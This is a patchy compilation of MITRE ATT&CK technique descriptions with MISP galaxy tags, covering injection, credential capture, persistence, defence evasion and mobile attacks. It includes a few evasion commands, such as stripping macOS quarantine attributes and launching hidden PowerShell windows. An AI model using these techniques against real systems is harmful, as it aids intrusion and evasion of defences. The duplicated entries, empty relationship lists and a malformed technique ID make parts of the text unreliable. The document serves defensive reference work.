**Process Injection - T1055**

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

### Input Capture - T1056

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Input Capture - T1056"*

### Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or `<code>Get-Process</code>` via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as `<code>CreateToolhelp32Snapshot</code>`. In Mac and Linux, this is accomplished with the `<code>ps</code>` command. Adversaries may also opt to enumerate processes via /proc.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"*
Account Discovery - T1087

Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.

The tag is: `misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"`

Valid Accounts - T1078

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)

The tag is: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"`

Multilayer Encryption - T1079

An adversary performs C2 communications using multiple layers of encryption, typically (but not
exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

The tag is: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079"

Multilayer Encryption - T1079 has relationships with:

**Account Manipulation - T1098**

Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

**Modify Registry - T1112**

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft RegHide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.

Input Prompt - T1411

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.

Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique's use. (Citation: Felt-PhishingOnMobileDevices)

Specific approaches to this technique include:

**Impersonate the identity of a legitimate application**

A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information. (Citation: eset-finance)

**Display a prompt on top of a running legitimate application**

A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to
the `ActivityManager` API. A malicious application can still abuse Android’s accessibility features to determine which application is currently in the foreground. (Citation: ThreatFabric Cerberus)

Approaches to display a prompt include:

- A malicious application could start a new activity on top of a running legitimate application. (Citation: Felt-PhishingOnMobileDevices) (Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique. (Citation: Android Background)

- A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store. (Citation: Cloak and Dagger) (Citation: NowSecure Android Overlay) (Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API. (Citation: XDA Bubbles)

**Fake device notifications**

A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt. (Citation: Group IB Gustuff Mar 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Input Prompt - T1411"`

Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

Clipboard Data - T1115

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

In Windows, Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) OSX provides a native command, `<code>pbpaste</code>`, to grab clipboard contents. (Citation: Operating with EmPyre)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"*
**LC_LOAD_DYLIB Addition - T1161**

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).

The tag is: `misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161"`

**LC_LOAD_DYLIB Addition - T1161** has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T11546.006"` with estimative-language:likelihood-probability="almost-certain"

**Code Signing - T1116**

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute...
on a system.

The tag is: $\textit{misp-galaxy:mitre-attack-pattern="Code Signing - T1116"}$

Code Signing - T1116 has relationships with:

**Template Injection - T1221**

Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, .xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For
example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)

This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)

The tag is: `misp-galaxy:mitre-attack-pattern="Template Injection - T1221"

**Audio Capture - T1123**

An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.

The tag is: `misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"`
Data Encoding - T1132

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

The tag is: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132"

Capture Camera - T1512

Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the android.permission.CAMERA permission to access the camera. In iOS, applications must include the NSCameraUsageDescription key in the Info.plist file, and must request access to the camera at runtime.

The tag is: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512"

Video Capture - T1125

An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering
information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

The tag is: **misp-galaxy:mitre-attack-pattern="Video Capture - T1125"**

### Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's `<code>~/Library/Preferences/</code>` directory in a plist file called `<code>com.apple.loginitems.plist</code>` (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to 'Hide' the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method `<code>SMLoginItemSetEnabled</code>` can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

The tag is: **misp-galaxy:mitre-attack-pattern="Login Item - T1162"**

Login Item - T1162 has relationships with:

- revoked-by: **misp-galaxy:mitre-attack-pattern="Plist Modification - T1547.011"** with estimative-language:likelihood-probability="almost-certain"

### Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's `<code>~/Library/Preferences/</code>` directory in a plist file called `<code>com.apple.loginitems.plist</code>` (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method `<code>SMLoginItemSetEnabled</code>` can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

Domain Fronting - T1172

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, “domainless” fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

AppCert DLLs - T1182

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: `misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182"`

AppCert DLLs - T1182 has relationships with:

---

**Spearphishing Link - T1192**

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192"`

Spearphishing Link - T1192 has relationships with:

Shared Modules - T1129

Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `<code>CreateProcess</code>`, `<code>LoadLibrary</code>`, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

- via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
- via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
- via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
- via `<code>&lt;file name="filename.extension" loadFrom="fully-qualified or relative pathname"&gt;&lt;/code&gt;</code>` in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.

Obfuscate infrastructure - T1331

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

The tag is: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"

Obfuscate infrastructure - T1331 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309" with estimative-language:likelihood-probability="almost-certain"`
Hidden Window - T1143

Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

Windows

There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is `<code>powershell.exe -WindowStyle Hidden</code>`. (Citation: PowerShell About 2019)

Mac

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be `<code>apple.awt.UIElement</code>`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1143"

Hidden Window - T1143 has relationships with:

Application Shimming - T1138

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- `<code>%WINDIR%\AppPatch\sysmain.sdb</code>`
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>`

Custom databases are stored in:

- `<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>`
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>`

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

**Spearphishing Attachment - T1193**

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

Bash History - T1139

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's `.bash_history` file. For each user, this file resides at the same location: `~/.bash_history`. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

Gatekeeper Bypass - T1144

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called `com.apple.quarantine`. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won't set this flag. Additionally, other utilities or events like drive-by downloads don't necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command `xattr /path/to/MyApp.app` for `com.apple.quarantine`. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, `sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app`. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS's gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

The tag is: `misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"`

Gatekeeper Bypass - T1144 has relationships with:
Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope. (Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android's `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user. (Citation: Android-ForegroundServices)

Malicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device's sensors, assuming permission has been previously granted. (Citation: BlackHat Sutter Android Foreground 2019)

Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer. (Citation: TrendMicro-Yellow Camera)

Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.

Biometric Spoofing

If biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).
iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.

Device Unlock Code Guessing or Brute Force

An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode.

Exploit Other Device Lockscreen Vulnerabilities

Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.

Input Capture - T1417

Adversaries may capture user input to obtain credentials or other information from the user through various methods.

Malware may masquerade as a legitimate third-party keyboard to record user keystrokes. (Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.

On Android, malware may abuse accessibility features to record keystrokes by registering an AccessibilityService class, overriding the onAccessibilityEvent method, and listening for the AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED event type. The event object passed into the function will contain the data that the user typed.
Additional methods of keylogging may be possible if root access is available.

**Application Discovery - T1418**

Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.

On Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.

On iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple’s App Store.
Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"*

---

Adversaries may use an existing, legitimate external Web service as a means for relaying
commands to a compromised system.

These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

**LC_MAIN Hijacking - T1149**

This technique has been deprecated and should no longer be used.

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

Disk Wipe - T1561

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002). Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android’s accessibility APIs.

[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:

- Mimicking user clicks on the screen, for example to steal money from a user’s PayPal account. (Citation: android-trojan-steals-paypal-2fa)

- Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user. (Citation: Talos Gustuff Apr 2019)

- Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers. (Citation: bitwarden autofill logins)

Startup Items - T1165

Per Apple's documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, `<code>/Library/StartupItems</code>` isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `<code>StartupParameters.plist</code>`, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

Dylib Hijacking - T1157

macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.

A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)

